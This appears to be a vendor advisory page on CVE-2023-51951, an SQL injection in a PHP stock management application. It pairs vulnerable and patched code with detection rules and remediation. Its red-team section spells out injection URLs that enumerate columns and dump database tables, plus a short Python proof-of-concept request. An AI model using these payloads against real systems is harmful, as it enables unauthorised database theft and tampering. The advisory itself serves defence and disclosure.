CVE-2023-51951
Executive Summary
CVE-2023-51951 is a critical SQL Injection vulnerability discovered in Stock Management System version 1.0. The flaw resides in the manage_bo.php file, where the id parameter is directly concatenated into SQL queries without proper sanitization or parameterization. This allows a remote, unauthenticated attacker to execute arbitrary SQL commands, potentially leading to data exfiltration, authentication bypass, or full database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch or vendor advisory has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains high due to the simplicity of exploitation and the sensitive nature of stock management data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not associated with any package manager (NPM, PyPI, Go, Ruby). It affects a standalone PHP application. No supply chain implications are identified.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – the vulnerable component is the database.
- Confidentiality (C): High (H) – full database read possible.
- Integrity (I): High (H) – data can be modified or deleted.
- Availability (A): High (H) – potential for denial of service via SQL manipulation.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical – immediate action required if the system is exposed.
Deep Dive & Mechanics
The vulnerability is a classic SQL Injection in the manage_bo.php script. The id parameter is likely used in a query such as:
SELECT * FROM products WHERE id = $_GET['id'];
Without input validation or prepared statements, an attacker can inject SQL syntax. For example:
http://target.com/manage_bo.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
This would return data from other tables. The exact number of columns can be determined via ORDER BY enumeration.
The vulnerability is unauthenticated, meaning any remote attacker can exploit it without credentials.
Vulnerable vs. Patched Code
Vulnerable Code (PHP):
<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);
?>
Patched Code (PHP):
<?php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>
The patched version uses prepared statements and type casting to prevent injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Download Stock Management System 1.0 from a trusted source (e.g., SourceForge).
- Install on a local LAMP/ XAMPP stack.
- Ensure the application is accessible via
http://localhost/stock/.
Exploitation Steps:
Identify the vulnerable parameter:
http://localhost/stock/manage_bo.php?id=1Confirm SQL Injection:
http://localhost/stock/manage_bo.php?id=1'Look for a database error.
Enumerate columns:
http://localhost/stock/manage_bo.php?id=1 ORDER BY 10--Increase until error.
Extract data (example for 10 columns):
http://localhost/stock/manage_bo.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--Dump database:
http://localhost/stock/manage_bo.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()--
PoC Code (Python):
import requests
target = "http://localhost/stock/manage_bo.php"
payload = "1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--"
params = {"id": payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Defensive)
Detection:
- Monitor web server logs for suspicious
idparameter values containing SQL keywords (UNION,SELECT,--,'). - Use a Web Application Firewall (WAF) to block SQL injection patterns.
- Implement input validation and prepared statements.
Hunting:
- Search for requests to
manage_bo.phpwith unusualidvalues. - Look for error messages containing SQL syntax errors in logs.
Indicators of Compromise (IOCs)
- Network:
- HTTP GET requests to
/manage_bo.php?id=containing SQL keywords. - Outbound database connections from the web server to unknown IPs.
- HTTP GET requests to
- Host:
- Unexpected database entries or modifications.
- New files in the web root (e.g., webshells).
- Logs:
- SQL error messages in application logs.
- Repeated failed login attempts (if authentication is bypassed).
Detection Engineering
YARA Rule
rule CVE_2023_51951_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2023-51951"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-51951"
strings:
$sqli1 = "UNION SELECT" nocase
$sqli2 = "OR 1=1" nocase
$sqli3 = "information_schema" nocase
$sqli4 = "manage_bo.php" nocase
condition:
any of ($sqli*) and $sqli4
}
Sigma Rule
title: SQL Injection Attempt on manage_bo.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts against CVE-2023-51951
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "manage_bo.php?id="
- "UNION"
- "SELECT"
- "OR 1=1"
condition: selection
falsepositives:
- Legitimate use of UNION in queries (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-51951 SQL Injection Attempt"; flow:to_server; content:"manage_bo.php"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|OR\s+1=1)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Disable the
manage_bo.phpscript if not essential. - Apply input validation: cast
idto integer. - Use prepared statements for all database queries.
- Disable the
Short-term:
- Implement a Web Application Firewall (WAF) with SQL injection rules.
- Restrict access to the admin panel via IP whitelisting or VPN.
Long-term:
- Upgrade to a patched version of Stock Management System (if available).
- Conduct a full security audit of the application.
- Follow secure coding practices (OWASP Top 10).
Note: No official patch exists. The vendor has not responded. Consider migrating to a different stock management solution.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.